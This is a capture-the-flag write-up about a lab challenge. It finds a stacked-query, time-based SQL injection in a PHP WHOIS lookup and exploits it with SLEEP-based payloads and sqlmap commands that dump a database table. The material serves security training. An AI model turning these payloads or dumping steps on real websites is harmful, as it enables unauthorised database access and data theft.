Shadow Registrar

RegistryPro's WHOIS terminal returns three things: a status word, a reflected domain name, and a lookup time. The query layer accepts stacked statements. Everything you need leaks through the clock.

Room Description

Shadow Registrar — figure 1

https://dashboard.webverselabs-pro.com/challenges/shadow-registrar

Scenario

RegistryPro shipped their public WHOIS lookup years ago on a legacy mysqli driver that still enables multi-statement execution. The UX team "modernised" the page by surfacing lookup latency — unaware that the timing channel is more than cosmetic. Make the registrar count.

Objective

RegistryPro's WHOIS terminal returns three things: a status word, a reflected domain name, and a lookup time. The query layer accepts stacked statements. Everything you need leaks through the clock.

Initial Analysis

We have a very look leet hacker-like DNS web app.

Shadow Registrar — figure 2

The frontend exposes the following endpoints:

<nav class="term-nav">
    <a href="/index.php"   class="active">&gt; lookup</a>
    <a href="/register.php" class="">&gt; register</a>
    <a href="/transfer.php" class="">&gt; transfer</a>
    <a href="/dns.php"      class="">&gt; dns records</a>
  </nav>

There's also a lookup feature that we will look at later in detail, for now, we have the following form regarding it:

<form class="prompt" method="get" action="/whois.php">
  <span class="glyph">&gt;</span>
  <input type="text" name="domain" placeholder="example.com" autocomplete="off" autofocus />
  <button type="submit">LOOKUP</button>
</form>

Finding the bug

Let's look at what most of the endpoints/categories do.

Shadow Registrar — figure 3

We don't see our input reflected here, but we can see it on the main dashboard.

Shadow Registrar — figure 4

We could potentially try to add a ' or " character to see if we cause any errors here.

Unfortunately we are getting rejected with malformed data.

Shadow Registrar — figure 5

Then we can move on to /transfer.php, but this also doesn't look likely like our injection point, since it requires an auth code.

Shadow Registrar — figure 6

I tried using our newly registered domain and did ' OR 1=1 -- - as a payload in the auth code to potentially trigger a success, but unfortunately it didn't pass.

And in dns records (or /dns.php), we can edit DNS records, this way we could get Stored SQLi for example, but unfortunately I don't see an error triggering for our input here, it gets rendered as a string.

Shadow Registrar — figure 7

The only place left we have to look at is the /whois.php function on the main dashboard.

Shadow Registrar — figure 8

Let's try to add an escaping character (') and see what happens.

https://47427e3e-3970-shadow-registrar-c6b9e.challenges.webverselabs-pro.com/whois.php?domain=test.com%27
Shadow Registrar — figure 9
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''test.com''' at line 1 in /var/www/html/whois.php:24 Stack trace: #0 /var/www/html/whois.php(24): mysqli->multi_query('SELECT status F...') #1 {main} thrown in /var/www/html/whois.php on line 24

Okay well, the challenge description basically leads us towards multi statement execution, so stacked queries with ; , and the error message also supports this with the multi_query statement, although not explicitly, since the same error message could pop up from single queries, but no need to read too much into that.

Exploitation

https://portswigger.net/web-security/sql-injection/cheat-sheet

Batched (or stacked) queries

You can use batched queries to execute multiple queries in succession. Note that while the subsequent queries are executed, the results are not returned to the application. Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay.

| Oracle | Does not support batched queries. | | ---------- | ---------------------------------------------------------------------------------------- | | Microsoft |

QUERY-1-HERE; QUERY-2-HERE
QUERY-1-HERE QUERY-2-HERE

| | PostgreSQL | QUERY-1-HERE; QUERY-2-HERE | | MySQL | QUERY-1-HERE; QUERY-2-HERE |

Note

With MySQL, batched queries typically cannot be used for SQL injection. However, this is occasionally possible if the target application uses certain PHP or Python APIs to communicate with a MySQL database.Time delays

You can cause a time delay in the database when the query is processed. The following will cause an unconditional time delay of 10 seconds.

| Oracle | dbms_pipe.receive_message(('a'),10) | | ---------- | ------------------------------------- | | Microsoft | WAITFOR DELAY '0:0:10' | | PostgreSQL | SELECT pg_sleep(10) | | MySQL | SELECT SLEEP(10) |

Alrighty, let's figure out our payload, we need a condition and something that happens if the condition is met, so 1=1 is always true, since that condition is met, let's force the app to wait 5 seconds before it responds.

test.com'; SELECT IF(1=1, SLEEP(5), 0); -- -
Shadow Registrar — figure 10

We know that our injected stacked query worked because the lookup took 5001ms, but if we lookup test.com, then it only takes 1ms, so our SLEEP statement definitely works.

Shadow Registrar — figure 11

Knowing that SLEEP statements work, we can use that information to start extracting data by using the lookup time as a reference point, for example:

test.com'; SELECT IF(SUBSTRING(database(),1,1)='c', SLEEP(5), 0); -- -

If the database's first letter is "c", the page will load for 5 seconds, whereas if it isn't, the page will load instantly.

Shadow Registrar — figure 12
Shadow Registrar — figure 13

We can make an educated guess that the database is called "chalapp" based on the previous challenges.

Now that we know that time-based stacked queries work, we can automate this with sqlmap. Due to the error message we also know that the database is MySQL, so our sqlmap command should be:

sqlmap -r req --technique=S --level 5 --risk 3 --dbms=mysql
Shadow Registrar — figure 14

We have a confirmation that the domain parameter is vulnerable, let's start dumping tables.

Shadow Registrar — figure 15

We need to specify which database we want, since this way we extract both information_schema and chalapp, let's also batch the commands so sqlmap doesn't wait for our input.

sqlmap -r req \
--technique=TS \
--dbms=mysql \
-D chalapp \
--tables \
--batch
Shadow Registrar — figure 16

Okay, so the table that most likely looks like it would hold something useful is called vault. Let's specify the table with the -T switch, -dump to extract data, and let's set the time delay to 3 seconds since five might be overkill.

sqlmap -r req \
--technique=TS \
--dbms=mysql \
-D chalapp \
-T vault \
--dump \
--time-sec=3 \
--retries=5 \
--batch

Shadow Registrar — figure 17

And we successfully get the flag!